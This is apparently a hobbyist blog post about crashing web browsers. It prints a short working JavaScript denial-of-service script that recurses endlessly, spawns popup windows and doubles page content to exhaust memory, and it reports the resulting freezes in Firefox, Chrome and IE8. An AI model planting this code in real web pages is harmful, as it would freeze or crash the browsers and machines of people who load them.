“It’s ridiculous to live 100 years and only be able to remember 30 million bytes. You know, less than a compact disc. The human condition is really becoming more obsolete every minute.”
-Marvin Minsky
[FF]ucking up Firefox
The other day I was contemplating recursion and wondered just how destructive it might be when misused in a web browser.
I spent the weekend experimenting with different was to crash a web browser by "infinite looping as hard as you can." A straight while(true){...} got noticed but Firefox and Chrome and as such, were not run. However using a simple recursive function got a around this, and that was left was to do was to fill up memory and spawn lots of extra processes:
function ffuck(bar)
{
setTimeout("window.open('[FF]uck.php')",Math.random()*1000);
document.all[0].innerHTML = (bar+"uck");
bar += bar;
return ffuck(bar);
}
ffuck("f");
The results of this were varied: in Firefox the host operating system would grind to a halt while Firefox slowly shat itself to death. Chrome would slow to a crawl, eventually producing its "unhappy tab" icon. IE8 did a very strange thing and attempted to download the file itself rather than render it.
Now I wondered if a normal recursive function could be so incredibly disruptive to browser behavior what would happen to an recursively increasing feedback loop? That's an experiment for another time.

Comments
Post new comment